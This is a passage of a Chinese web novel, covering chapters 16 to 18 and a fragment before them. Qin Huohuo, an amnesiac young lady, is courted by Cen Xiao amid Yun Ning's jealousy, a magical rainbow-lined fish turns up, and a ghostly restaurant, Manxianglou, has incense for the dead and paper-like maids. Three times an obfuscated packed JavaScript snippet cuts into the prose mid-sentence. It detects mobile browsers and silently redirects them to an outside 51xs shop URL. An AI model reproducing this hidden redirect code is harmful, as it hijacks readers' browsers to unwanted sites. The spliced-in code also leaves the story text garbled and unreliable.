丫鬟菱悦将空盘撤下又换了一盘绿豆糕放到桌上,看着秦霍霍皱着眉的样子说道:“小姐,你每次失忆都会跟今天一样坐在这像一天。” “我每天都会失忆么?”秦霍霍将手中的葡萄皮放下拿起一块绿豆糕问道。 菱悦摇摇头,“不会,小姐只是偶尔失忆,老爷找了很多大夫跟大师,都看不好小姐的病,最后只能是我们多留意小姐每次醒来的状态。”说完担心秦霍霍吃绿豆糕噎到,又给她倒了一杯水。 秦霍霍将手中的绿豆糕塞进嘴里,果不其然还真噎到了,拿起菱悦倒的水将绿豆糕给顺了下去,菱悦在一旁轻轻拍着她的背继续道:“但是小姐每次失忆的时候,醒来时的眼神总是清澈纯真的很。” 刚把绿豆糕顺下去的秦霍霍听到她的话,差点又把顺下去的绿豆糕喷出来,还好及时控制住了自己的双唇跟腮帮子,这才避免了一场灾难的发生。 “什么叫清澈纯真?”秦霍霍无语的看着菱悦,梳妆的时候已经观察过自己的脸了,没有什么表情的时候眼神中总会透露出一丝冷漠,实在很难跟菱悦口中的清澈纯真联系到一起。 “就是这样。”菱悦以为秦霍霍不懂什么时清澈纯真,特地给她表演了一下。 菱悦将自己的两个眉毛皱成了一个八字,轻咬双唇,双手交叉放在胸前盯着秦霍霍眨巴着双眼。 “……” “我觉得我醒来之后应该摆不出这个动作。”秦霍霍不想多看一眼菱悦的动作跟表情,她感觉这不是清澈纯真,更像是一个傻子。 菱悦继续用傻子动作跟表情对秦霍霍说:“妮嘘哼呜,素金的。” “你好好说话。”秦霍霍一个字都没有听懂,手动将菱悦的眉毛给提了起来。 “我说,小姐你相信我,是真的。”菱悦恢复了正常的表情,但是一双手还没来得及放下,说话的时候就像是在祈祷。 秦霍霍决定放弃探讨清澈纯真的话题,换了一个话题,“那我以前一般都喜欢干什么?” “虐待花花草草、掏门口的鸟窝、欺负隔壁的小黄还有……” 秦霍霍打断了菱悦,“可以了。”嘴巴有些抽搐,本来以为菱悦会说自己以前喜欢看看书、绣绣花,结果自己是一件正经事不做,天天不是出去毁坏花草就是欺负小黄? “怎么了小姐,你还干了好多事情呢,我继续给你说。”菱悦被秦霍霍打断后有些困惑的眨巴着她的一双大眼睛,准备继续开始细数秦霍霍的“罪孽”。 不想继续加深自己的罪恶,秦霍霍开口制止道:“咳咳,其实我觉得既然都忘了,那我也不要强求了。” “那今天岑萧少爷邀您一同泛舟钓鱼,小姐你还去么?”菱悦问道。 岑萧?这又是哪位? “岑萧是谁啊?”秦霍霍问道。 “霍霍”一个声音从身后传来,她缓缓转过身,看到一个身着浅蓝色长衫,五官分明长相不说惊为天人,但绝对是大帅哥的男子勾着浅浅的宠溺的看着她,倒是让人有些沉醉其中了,只是一旁还站着一个着粉色衫裙,五官都已经拧巴在一起的女子,此刻正气鼓鼓的怒瞪着她,属实有点煞风景了。 “岑萧少爷,云宁小姐。”菱悦朝面前的两人行了个礼。 秦霍霍看着眼前的两人,努力的从大脑中搜寻关于二人的信息,但是结果自然是一无所获了,她求助的看向一旁的菱悦,希望她可以给自己来一点提示。 菱悦却跟没看到一样行了个礼就出去了,走之前还冲秦霍霍俏皮的眨了眨眼,然后还顺手将门给带上了。 叫云宁的少女顶着一张气鼓鼓的脸直接坐到了秦霍霍的躺椅上,说道:“一看就是又失忆了。” “那今日就不去泛舟了,我们给霍霍讲讲以前的事情吧。”岑萧的声音如泉水一般缓缓落入了秦霍霍的耳中。 云宁听到岑萧的话,原本就气鼓鼓的脸又更鼓了几分,秦霍霍觉得她再努力一下可能马上就可以飞起来了。 “凭什么又迁就她!我今天就不!”云宁直接从躺椅上站了起来,但是由于躺椅会晃动,她差点没站住摔倒在地上。 “噗。”秦霍霍看云宁的样子实在太有趣了,一下没憋住笑出了声。 云宁听到秦霍霍的笑声又恶狠狠的冲她翻了个白眼。 “我失忆而已,又不是傻了,再说了泛舟也可以讲,在这屋里也太无聊了。”秦霍霍收住了笑声,说道。 不去泛舟那可是万万不可以的,秦霍霍宁可今天不听故事也要出去玩,自己醒来之后只在房内待了一早上,已经吃了两个苹果、一个桃子、一盘葡萄跟一块绿豆糕了,再这么下去估计自己的衣服也都会因为身体的快速发胖而失忆了。 岑萧无奈的看着两人,也只好点头妥协。 …… 秦霍霍看着四周密密麻麻的船,又看了看自己手中已经半个时辰没有任何动静的鱼竿。 “怎么这么多人啊?”秦霍霍将自己手中的鱼竿摔倒船上。 “哼,泛舟节本就有很多人来,不是你自己想来的么?”云宁冷哼了一声,开口嘲讽道。 不过因为着河中的人实在太多了,云宁也一直没有钓上来鱼,也有些坐不住了,但为了跟秦霍霍较劲,她一直努力强迫自己不要起身,终于等到秦霍霍先摔鱼竿,云宁如释重负的将鱼竿也摔到了地上。 岑萧看着周围的船,脸上有些尴尬的说:“往年倒是也有不少人,只是我也没想到今年会这般多。” 秦霍霍看着自己的船与隔壁船之间不过两三尺的距离,心想此刻如果有一个跳跃能力还不错的人,大概是可以从头上的船一路跳到最后的一条船的。 “我钓到了!”突然一声惊呼从船尾传来,一个十几岁的少年欢呼着举着自己的鱼然后一条船一条船的往前跳。周围的人也在与他一起欢呼。 “……” 秦霍霍瞬间无语,她没想到还真有人会这么做。 等那人跳到秦霍霍他们的船上时,秦霍霍一把拉住了正准备往前跳的少年,少年直接面朝地摔了个狗吃屎,手里还紧紧抱着那条鱼,周围的欢呼声也瞬间停止了。 少年以为秦霍霍是准备抢他的鱼,一脸警惕的看着她,怒声道:“你干嘛!大家可都看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150699|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” 秦霍霍看了一眼他手中的鱼,大小还不如自己隔壁船钓上的鱼大,好奇地开口道:“你这鱼有什么特别的?值得你这么高兴。” 少年见秦霍霍并不知道这条鱼的特别之处,送了口气但手抱鱼的力度没有半分减退,说道:“满香楼的掌柜说,今年的泛舟节,只要有人能钓到这条鱼,就可以在满香楼免费吃三年呢!” “可这里的鱼这么多,我看你这鱼同别人的也差不多,你又怎么知道你这条就是呢?”秦霍霍又问道。 少年将鱼的侧边鳍拉开递到秦霍霍的面前,那鱼鳍的下面竟然有一条七彩的线,看来这条线就是分辨鱼的关键了。 少年展示完后立刻将鱼搂了回去站起来往下一条船跳去,周围的船又开始继续为少年欢呼。 “运气真不错,那是满香楼啊。”云宁有些羡慕的看着少年的背景说道。 秦霍霍看着云宁羡慕的神情有些不解,不过是一个酒楼而已,哪怕再好吃又能如何,以云宁的家境不可能连一家酒楼都吃不起吧? 岑萧看出了秦霍霍的困惑主动说道:“这满香楼并不是寻常的酒楼,每月才接待一桌客人。” “一桌?他们不会倒闭么?”秦霍霍没想到竟然会有如此奇怪的酒楼,惊讶道。 “你懂什么啊,满香楼的掌柜以前可是御厨,金银赏赐多的很,人家追求的那可是品质,你以为像个你似的。”云宁说完还冲秦霍霍翻了个白眼。 “我怎么了,我出门可不穿破的衣服。”秦霍霍指着云宁的裙子不甘示弱的回怼道。 云宁顺着秦霍霍手指的位置看去,自己的裙子不知何时竟然破了一个大洞,脸色瞬间羞红,瞪着秦霍霍“哼”了一声,就往船舱内走去,但刚坐下没多久又冷着脸出来了,硬挤到了秦霍霍与岑萧中间。 岑萧差点被云宁挤到河里,前后摇摆了好几下才站住,秦霍霍看着眼前的一幕“噗嗤”笑出了声。 原本因为差点把岑萧挤下去,有些尴尬的云宁听到秦霍霍的笑声,不悦道:“你笑什么,你就这么喜欢看到四哥哥掉下去么?” 秦霍霍连连摆手道:“没有啊,再说了也不是我挤得他啊。” 云宁听到秦霍霍的话脸有刷的一下子红了,不好意思的冲着岑萧小声道:“我不是故意的,萧哥哥你别……”说到最后云宁眼泪开始在眼框内打转,话也说不出来了。 秦霍霍看着眼前的画面,只觉得云宁虽然有些蛮横,但是性格实在太好玩了,差点又忍不住要笑出声,但是又不想破坏她的哭戏,硬生生憋住了,还差点给自己憋出了内伤。 岑萧毕竟是个男子,看着眼前快哭了的云宁,有些慌乱不知所措,最后只好向秦霍霍求救。 秦霍霍摆摆手,示意他先离开这个是非地,岑萧了然的点点头,转身就走进了船舱内。 云宁见岑萧一走立马收住了眼泪,演技收放自如到秦霍霍都想给她鼓个掌。 “我告诉你,萧哥哥只会娶我。”云宁突然开口道。 “哈?好的呀。”秦霍霍点头道。 “你不想嫁给萧哥哥么?”云宁听到秦霍霍说好,半信半疑地问。 “不知道为什么,我现在满脑子都是报效国家。”秦霍霍伸出手拍了拍云宁的肩膀,然后也不等云宁反应转身就朝着船舱内的岑萧喊道:“岑萧,我们回去吧。” 16. 第十六章 自打从泛舟节回来后,岑萧已经很久没有出现在秦霍霍面前了,反而云宁时不时就会出现一下,人来了也就算了,每次还要带点跟岑萧有关的东西。 “秦霍霍,我今天带了萧哥哥画的画,你快跟我一起来好好欣赏欣赏!”秦霍霍的房门被一把推开,云宁走进来将画铺到秦霍霍面前,强行掰过她的脑袋,强迫她欣赏岑萧的画作。 秦霍霍看着纸上的小鸡啄米简笔画,无语的翻了个白眼道:“你对他会不会太喜欢了,这画的还没我好看。” 云宁伸手摸着画上的简笔画小鸡啄米图,一脸花痴的回道:“萧哥哥这是表达童趣。” “……” 这段时间里,秦霍霍见识了岑萧的书法、画作、手工作品,甚至连岑萧做过的糕点云宁都保存下来,带到了秦霍霍的面前,强行让她一起欣赏,每次还要问她看完岑萧的这些“作品”,有没有对岑萧有心动的感觉,好像秦霍霍不喜欢岑萧是不对的。 秦霍霍思考着怎么才能快速逃离这里,就见菱悦领着两个抬着大鱼缸的小厮进来,秦霍霍有些连忙跑过去,好奇的问道:“慢着慢着,菱悦这鱼是干嘛的?” 云宁听到动静也走了过来,狐疑的看着菱悦。 菱悦不知道云宁也在,有些犹豫的开口:“是岑……” “知道了!知道了!”菱悦才说了一个岑字,就被菱悦给打断了,菱悦瞪了一眼菱悦跟秦霍霍拿着那幅小鸡啄米图就跑出去了。 秦霍霍莫名其妙的被瞪了一眼,都还来不及瞪回去,云宁就直接跑了,没有给她留一点机会。 “岑萧拿这条破鱼来干嘛?”秦霍霍看着让自己莫名被瞪的罪魁祸首,没好奇的问道。 “岑萧少爷说小姐你很喜欢这条鱼。”菱悦如实答道。 秦霍霍狐疑的看着鱼缸中的鱼,觉得越发的眼熟,便让菱悦将鱼给抓出来。 菱悦不知道秦霍霍想要做什么,但还是照做了。 只是鱼缸中的这条鱼浑身都滑溜溜的,菱悦试了好几次都没有成功。 秦霍霍见状就准备自己上手,手才刚伸进水中,鱼便直接游进了秦霍霍的手中。 “你看这鱼多喜欢我。”秦霍霍冲着菱悦开玩笑道。 鱼虽然游进了秦霍霍手中,但鱼却像有千斤重一样,无论秦霍霍怎么努力也无法将鱼拿出来,秦霍霍想要将手从鱼缸中拿出来,但鱼的身上此刻却像是粘了胶水一样,牢牢吸着秦霍霍的手不让她离开。 菱悦察觉到了秦霍霍的不对劲,开口问道:“小姐你没事吧?” “我的手,拿不出来了。”秦霍霍皱着眉答道。 菱悦听罢立马上前想要帮秦霍霍将手从鱼缸中拔出来,菱悦刚碰到秦霍霍的手,秦霍霍就感觉手被浴缸束缚的感觉瞬间消失了,但还来不及收力,整个人带着那条鱼都朝后摔倒了地上,鱼也从她的手中摔到了地上。 “小姐!”菱悦慌忙的将秦霍霍扶起来。 秦霍霍看着一旁正在努力呼吸的鱼,“你把那条鱼拿过来。” “小姐你都摔倒了,还管那条破鱼做什么。”菱悦嘴上埋怨着,但还是将鱼拿到了秦霍霍面前。 秦霍霍将鱼鳍掀起,里面露出了一条七彩的线,赫然就是泛舟节的那条鱼,只是这鱼怎么会跑到岑萧的手中的。 菱悦那日并没有跟着几人一同去,自然是不知道这条鱼的事情,看到鱼鳍中的彩线诧异道:“这鱼身上怎么会有条彩线,好生特别啊。” 秦霍霍没有理会菱悦说的话,反而问道:“岑萧有说鱼是哪来的么?” 菱悦摇摇头回道:“没有说,岑萧少爷只说是小姐喜欢的。” 秦霍霍若有所思的点点头,让菱悦将鱼放回到鱼缸中。 “那小姐这鱼缸,要放在哪里?”菱悦问道。 秦霍霍想到了刚才自己手被鱼给牢牢粘住,又无法从鱼缸中拿出来的诡异事情。 “放到院子里去吧。” …… 岑萧没想到自己刚将鱼送到秦府不过半日不到的时间,秦霍霍就主动找上了门,只是岑萧不明白为什么秦霍霍的脸色看起来并不好。 “霍霍,鱼收到了么?”岑萧小心翼翼的开口问道。 “嗯。” “喜欢么?”岑萧又小心的问道。 “你哪来的鱼?”秦霍霍没有回答岑萧的问题,而是直接问出了自己最想知道的。 “那日我见你喜欢那鱼,事后便去找了那个钓到鱼的公子,可他死活不肯卖。我想这世间肯定还会有,便让几个小厮同我一道去河中又捕了几天。”岑萧认真的答道。 “然后你就找到了这条鱼?” “嗯。”岑萧应道。 秦霍霍哑然,她没想到岑萧会因为自己去河中捕好几天鱼,怪不得这么多天都没有出现。 “岑萧少爷,那鱼古怪的很。”菱悦站在一旁开口道。 “古怪?”岑萧疑惑道。 “菱悦没见过身上有彩线的鱼罢了。”秦霍霍开口打断了菱悦的话,她还不想让岑萧知道自己刚才发生的事情。 这句话似乎戳中了岑萧某个开关,开始讲述自己的捕鱼的经历,从一开始好几天都一无所谓,到后面自己又是如何一网捕到鱼的事情。 一旁的小厮忍不住开口道:“少爷,那鱼明明是自己搁浅,恰巧被您捡到了而已。” “嗯?”听的有些发困的秦霍霍听到小厮的话,顺便来了兴趣。 “我那是收网的时候,鱼自己从网中跑出来掉到了而已。”岑萧一脸尴尬道。 小厮撇撇嘴没有再开口,岑萧则是冲着秦霍霍开始傻笑,试图掩盖自己吹牛被戳穿了。 秦霍霍没想到看似稳重的岑萧,竟然也会为了面子撒这样的慌,忍不住“噗嗤”一下笑出了声。 岑萧见秦霍霍笑了,知道自己刚才撒的谎肯定已经被她看穿了,回头瞪了一眼站在一旁的小厮。 “霍霍,这几日你想去哪里玩?”岑萧急忙换了个话题,试图转移秦霍霍的注意力。 秦霍霍也没有过多的纠结鱼到底是哪里来的,可那条鱼身上发生的怪事总要调查个清楚。 “去捕鱼吧。”秦霍霍回答。 “啊?捕鱼?”岑萧诧异道,怎么这破事还过不去了,回头又瞪了一眼小厮,小厮一脸无辜的望天。 秦霍霍笑道:“只是没试过,想去试试看罢了,如果岑萧……哥哥不方便的话,你把地点同我说,我自己去也可以的。” 秦霍霍这次失忆醒来后,就没再喊过岑萧哥哥了,现在这一声哥哥可把岑萧给激动坏了,连忙回道:“方便的方便的,我们哪天去?” “就现在吧。” “啊?”岑萧没想到秦霍霍的行动力竟然这么强,本来还以为最起码要等个两三日,自己也好准备准备。 “又不方便?”秦霍霍问。 岑萧哪敢说不方便,生怕自己开口说要准备几日,秦霍霍又要自己去捕鱼了,只能连连点头,“没有,很方便。” 秦霍霍也知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150700|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道自己突然提出马上要去捕鱼的要求有些强人所难,“那你去准备吧,我在这等你。” 岑萧转身正准备朝小厮吩咐要哪些东西,便有个小厮进来说有人请秦霍霍、岑萧以及云宁前去赴宴。 “是何人?”岑萧问道。 “来人说是满香楼的。”小厮答道。 “有说缘由么?”岑萧又问。 小厮摇摇头答道:“对方只说公子同二位小姐去了便知了。” …… 满香楼开在城中最好的地段,外部看起来并不起眼,与周边的酒楼比起来还要更朴素一些,但不同于其他酒楼的是,这里除了有特邀而来的客人以外,从不会开门迎客。 此刻满香楼外站着两名穿着华服的小厮,衣物所用的面料比起秦霍霍三人甚至还要更好一点,在楼中往外透出的光亮中散发着七彩的流光。 两个小厮仿佛认识他们三人一般,并没有问他们是谁,而是直接将三人往楼中带。 这满香楼中装潢对比外部,可谓是天壤之别了。 外部如果是朴素,那楼中的装潢就要好像是走进了皇宫一般。 虽说秦霍霍并没有去过皇宫,但她觉得皇宫最多也就这样了。 刚走进去,云宁就被大堂最中间的吊灯所吸引,那吊灯硕大无比,通体都是透明的,底下还坠着许多水滴型的透明吊坠,这蛮香楼中的光亮看似都是靠这个吊灯,但秦霍霍观察了许久,却不曾在那吊灯上找到一根蜡烛,正在疑惑之时,小厮同几人说一种来自东海深处才有的材料,只要遇到一些光亮便会散发出如同白天一样的光亮,所以满香楼中并不需要点太多的烛火。 秦霍霍听闻看了看四周,确实如同小厮所说一般,这满香楼中并未点太多的烛火,对比外面的一些酒楼,可能还要更少一些,看来这吊灯真的有那小厮所说的一般神奇。 小厮领着几人继续往里走,秦霍霍似有似无的闻到了一股香气,但一时又想不起来,只觉得这香气不该出现在一家酒楼中。 “小哥,这满香楼中用的是何香啊?我闻着舒心的很。”秦霍霍开口问。 “蛮香楼中并不曾有点任何香,秦姑娘怕是闻错了吧。”小厮微笑着答道。 岑萧同云宁也点点头,“我们也没有闻到啊。” 秦霍霍见几人都这么说,只好说大约是自己闻错了,可那香气却越来越浓,不停的往她的鼻子里钻,她总觉得很熟悉但就是想不起到底在哪里闻过。 小厮将几人领到一间包间内,让几人等待片刻后就退了出去。 秦霍霍觉得那味道此刻就在自己的眼前一般,浓郁的她都快窒息了。 “你们当真一点没有闻到么?”秦霍霍又忍不住开口道,如果只是似有似无的气味,还可以当作是错觉,可现在他们三人就如果站在了一间香房内了,怎么可能还是错觉。 “没有闻到,没有闻到!你要我们说几遍啊,你是不是经常失忆,所以脑子也不好使了。”云宁拿起桌上拜访的苹果不耐烦的回道。 “霍霍,你是不是身体不舒服?”岑萧有些担忧的问道。 秦霍霍摇摇头,但那香气还是没有消散半分,秦霍霍绞劲脑汁回忆这股气味到底自己是在哪里闻到过。 总觉得很熟悉,自己经常可以接触到,但又不同于自己房内所用的香粉,这味道好像每次闻到的时候,总会伴随着许多人的声音。 好像是在葬礼上供奉死人所用的香! “是供奉死人用的那种香的味道!” 17. 第十七章 “呸呸呸,你说什么呢?”云宁用看傻子的表情看着秦霍霍说。 秦霍霍此话一出就连岑萧都用担忧的眼神看着她,仿佛秦霍霍的脑子真的出了问题一样。 “霍霍,是不是太累了?”岑萧忍不住伸出手想要摸一摸秦霍霍的额头,手快碰到额头时,秦霍霍不适应的躲开了。 岑萧的手在空中有些尴尬的进退两难,还是云宁一把将岑萧的手也拽了下去,这才没让这个尴尬的场景继续下去。 “她就是脑子出问题了。”云宁见秦霍霍竟然躲开了岑萧的手,不免有些生气道,要知道那可是萧哥哥主动摸额头,自己都没有这个机会,一想到这云宁又气鼓鼓的瞪了一眼秦霍霍。 秦霍霍也知道自己突然说出这种话,着实显得很奇怪。可自己明明感觉那就是死人上供所用的香,而且这股越来越来越浓郁,仿佛现在正有个人捧着放在她的鼻子前。 秦霍霍想向两人描述自己闻到的闻到,但才刚准备开口,她就感觉自己的嘴被人捂住了,想要站起来,可自己的双腿却怎么都使不上劲,整间房也如同变成了有个滚筒一般,不停的旋转。 眼前云宁同岑萧的脸也逐渐开始变得扭曲,两人呼唤自己的声音也从清晰渐渐的变得尖利,每一声在秦霍霍听起来都及其的刺耳,她想要捂住自己的耳朵,可双手就像被灌了铁水一般,根本无法移动分毫,她甚至可以感觉到自己的灵魂开始抽离身体,而自己却无能为力。 “吱嘎” 房门突然被人推开,秦霍霍刚才的不适在门开的那一刻,瞬间全部消失了。眼前是岑萧焦急且担忧的脸,就连一旁的云宁此刻也面露担忧。 一个看着不过三十来岁的男子正站在门口,笑意盈盈的看着三人。 “三位贵客久等了,在下是满香楼的掌柜。” 外界都说满香楼的掌柜曾经是宫廷御厨,想着怎么也该年过半百了,可眼前的人最多不会超过四十,实在很难跟想象中一头银发满脸皱纹的老头联系到一起。 掌柜大约也看出了几人的疑惑,笑着开口道:“其实我今年已经六十了,看不出来吧。” “你当我们傻啊,你看起来最多不超过四十。”云宁忍不住开口道。 “我这是保养得当,需要我传授你一些保养的技巧么?”每当满香楼客人,对方也会同云宁一样不相信,早已习惯了的掌柜打趣道。 云宁一脸不相信的撇撇嘴。 “掌柜,恕在下冒昧,不知满香楼是否有点什么特殊的熏香?”岑萧并不是太在意掌柜到底多大年纪,他在意的秦霍霍刚才所说自己闻到的味道,以及如同中邪一般的反应。 秦霍霍刚才的样子,似乎是被那股她所说的气味所魇住了一般。 掌柜并没有直接回答岑萧的问题,而是笑着反问道:“不知道小公子是闻到了什么味道呢?” 岑萧还没来得及回答,云宁就抢先一步开口道:“还不是那个秦霍霍,一直说自己闻到了给死人用的那种香的味道。” “死人用的香?”掌柜狐疑道。 “霍霍确实如此说。”岑萧点点头答道。 掌柜摸了摸自己的下巴,又仔细端详了一遍秦霍霍,若有所思了许久才开口:“满香楼中确实用了一些特殊的木头,大多数人并不会闻到任何味道,只有一小部分对气味特别敏感的人,他们才会闻到。只是……”掌柜的说到这有些犹豫不知是否继续说下去。 “还请掌柜直说。”岑萧抱拳道。 “只是这气味每个人闻到的都不太一样,这其实取决于此人最熟悉的味道是什么,所以这种木头也被人称之为思忆木。”掌柜的说完又再次打量了一下秦霍霍。 一直没有开口说话而是在一旁安静听着的秦霍霍,在听完掌柜所说的话后,也终于有了反应,抬头看着站在自己面前的掌柜。 “啊?”云宁有些不敢相信自己听到的话。 虽说自己也不是太喜欢秦霍霍,但是秦霍霍最熟悉的味道又怎么可能是死人所用的香呢? 掌柜的并没有再多说一句话,而是一言不发笑着的盯着秦霍霍看,像是一块木头一般不眨眼也不动,仿佛要将秦霍霍给看穿才肯罢休。 “也许是霍霍的病,导致她把气味给搞混了。”岑萧走到了秦霍霍与掌柜中间,将掌柜的视线给隔绝开。 云宁恍然大悟的点头,毕竟秦霍霍确实经常失忆,说不定就是因为这个原因,所以她的脑子有些问题,将自己记忆中的气味搞混了,再说了一个经常失忆的人怎么还能记得住自己最熟悉的气味,当然了云宁也巴不得秦霍霍的脑子出现问题。 “嗯,应当是如此。”掌柜听了岑萧的话从木头一般的形态恢复到了正常人的样子,也露出一副恍然大悟的表情点头同意道。 “所以为何你邀请我们才这里?”一直一言不发的秦霍霍盯着掌柜的眼睛开口问道。 因为秦霍霍的身体原因一直没有想到这个问题的岑萧与云宁二人,此刻被她一句话点醒,好奇的看着掌柜。 “哈哈,在下不过是听闻有人又捕了一条彩线鱼好奇罢了,想见见到底是谁,现在一见三位果然与众不同,气度不凡啊。”掌柜解释道。 “那现在我们能走了?”秦霍霍盯着掌柜继续道。 掌柜的又“哈哈”一笑,拍了拍手。 一群穿着粉色袄裙的侍女们排队走了进来,手中还拿着各色的餐盘,里面则是各种精美的菜肴。侍女们将手中的餐盘依次拜访到桌上后,便走到墙边低头等待掌柜的下一步指示。 满香楼的餐食确实就如同它的名字一般,一出现便满楼飘香,秦霍霍之前因为那股熏香所带来的不适感,此刻也因为这些餐食的出现消失了。 云宁在这些餐食刚摆上桌时就忍不住的想要动筷,虽说云宁也吃过了不少的美食,但此时桌上的这些菜,确实各个色香俱全,而且看起来味也不会差,就连岑萧都有些跃跃欲试,更别说一向贪吃的云宁了。 “这是何意?”秦霍霍问道。 “三位贵客既然来了我满香楼,自然没有让几位饿肚子的道理了,这些菜肴还请三位品尝一二。”掌柜回答道。 说完掌柜摆了摆手,屋内原本站满了墙边的侍女们,此刻走了大半,只留下了四个在屋内,掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150701|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜自己也笑着做了个揖出去了,走之前还不忘将门给带上。 “我们……”云宁看着一直盯着门方向的秦霍霍开口道。 听到声音的秦霍霍这才收回了自己的目光,看着云宁一脸期待的表情以及满桌的美食。 “你吃吧。” 云宁这才动筷,边吃还边评价,这个好吃,那个好吃,这个更好吃,那个更好吃。 岑萧也给秦霍霍夹了几道菜到碗中。 只是秦霍霍并没有什么胃口,看着满桌的精美的餐食,有些精美到根本看不出是什么做的,她招手让站在一旁的一个侍女走到桌前介绍一下。 刚才这些侍女进来的时候一直低着头,而且手上又捧着餐食,秦霍霍当时也就没有在意这些侍女的装扮,此刻走进了才看到她们的样子,这些侍女的脸上都涂着厚厚的白色粉底,两颊是则是两团大红色的腮红,在就连唇色也是及其鲜艳的大红色,在惨白的脸的映衬下,腮红与唇色更为突出了,嘴角一直保持着微笑,屋内所有的侍女都是如此。 原本已经够奇怪了,可当侍女开口说话时,秦霍霍觉得眼前的这些侍女根本不像是活人,毕竟哪有正常人会一个字一个字的往外蹦,好像刚学会说话还不太熟练的样子。 秦霍霍看向岑萧与云宁,他们两人却丝毫没有在意这些侍女奇怪的装扮与举动,秦霍霍看着这些侍女的打扮只觉得浑身止不住的发冷,明明在刚才已经有些缓解的头晕,现在又开始觉得天旋地转。 “你们先出去吧,我们吃饭不用人陪着。”秦霍霍强撑冲那些侍女说道。 那些侍女木讷的冲着几人行李,又排着队离开了,其中一个侍女出门的时候还被门槛给绊了一下,差点就摔倒在了地上,还好几个侍女之间靠的比较近,前面的侍女用背部接住了她。 但秦霍霍还是在那个侍女快摔倒时,看到了她不小心露出的一截小腿,不同于正常人的腿有皮肤的光泽,那侍女的腿就如同一张被揉皱了的纸一般。 侍女大约是注意到了秦霍霍的目光,竟然回过头看着秦霍霍,一双乌黑的眼珠子在眼眶里不停的打转,嘴角还挂着微笑,在诡异的妆容映衬下,秦霍霍仿佛听到了那个侍女在发笑,但不过片刻,那个侍女便站直了身子跟着其他人一起走了。 “你们看到了么?”秦霍霍回头问道。 “唔……李索申莫?”云宁刚往嘴里塞了一大块狮子头,连话都说不清楚。 “那些侍女,她们……”秦霍霍继续说道。 云宁将自己嘴里的狮子头咽了下去,顺便拿起桌上的帕子擦了擦嘴角的汁水回答道:“那些侍女有何不妥么?” 岑萧也一脸疑惑的看着秦霍霍,不知道秦霍霍为何会提起那些侍女。 秦霍霍自从进了这个满香楼后,看什么都觉得奇怪,不仅闻到了死人上供所用的香,现在更是看楼中那些侍女也不像是活人,可除了秦霍霍以外,云宁与岑萧都并没有觉得满香楼有什么奇怪的,硬要对比的话,仿佛还是秦霍霍更怪异一些。 “你们不觉得……她们的打扮,不像活人么?”犹豫再三,秦霍霍还是开口了。 18. 第十八章 从满香楼出来的时候,天已经黑了。 街两边的的酒楼此刻正式热闹的时候,酒楼内喝酒聊天的声音,门口的小二给自家酒楼揽客叫喊的声音,与刚才满香楼内安静的环境截然不同。 秦霍霍没想到他们一段饭竟然吃了那么久,本以为不过一两个时辰罢了,现在看来几人竟然足足吃了半天那么久。 “秦霍霍,你是不是就是故意要给我跟萧哥哥找点不自在。”云宁站在秦霍霍面前,叉着手不满的说道。 秦霍霍一句侍女不像活人,让原本还吃的更开心的云宁一下子就没了胃口,最后也没多吃几口就停筷了。 “霍霍,我带你去大夫那瞧瞧吧,自从进了那满香楼你的脸色越来越差。”岑萧一脸担忧的看着秦霍霍。 秦霍霍摇摇头,冲着岑萧笑了一下,示意对方自己现在已经好多了。 云宁见岑萧对秦霍霍更关心,气的直接推了秦霍霍一把。 秦霍霍也没想到云宁会直接推自己,本来没有怎么使劲的云宁竟然把秦霍霍直接推倒了。 云宁自然也没想到秦霍霍会这么弱不禁风,见秦霍霍直接倒在了地方也被吓了一跳,但碍于面子又不好意思去扶她,强装镇定的开口道:“我告诉你,你别想装柔弱,我都没使劲。” 岑萧急忙将秦霍霍扶了起来,又前后仔细的检查了一下秦霍霍有没有受伤,直到秦霍霍被他前后前后的晃得头更晕乎了,岑萧这才确认秦霍霍没啥大事。 确认了秦霍霍没事后,岑萧转头神色严肃一言不发的看着云宁。 云宁以前也任性过,但岑萧总是好言好语的教育她,最多不过是用稍微严肃一点的语气,但像现在这样一言不发只是看着自己还是第一次,云宁知道岑萧这次是真的生气了。 “我……我没想到,我以为……我很轻的……”云宁冲岑萧解释,但岑萧却一直一言不发,云宁的声音也越变越小,最后甚至开始小声呜咽起来。 大约是因为云宁的哭声,岑萧才开口道:“霍霍身体本就不适,你轻轻一推,她也未必受的住。” 原本还只是小声呜咽的云宁在听到岑萧说的话后,直接放声大哭起来,一边哭一边说:“我……我不是……不是故意……故意的。” 酒楼中原本正在喝酒聊天的酒客,以及正在门口揽客叫喊的小二,此刻都停了下来,不约而同地看向街上的三人,每个人都是一脸看戏的表情,顺便还在同周围的人窃窃私语。 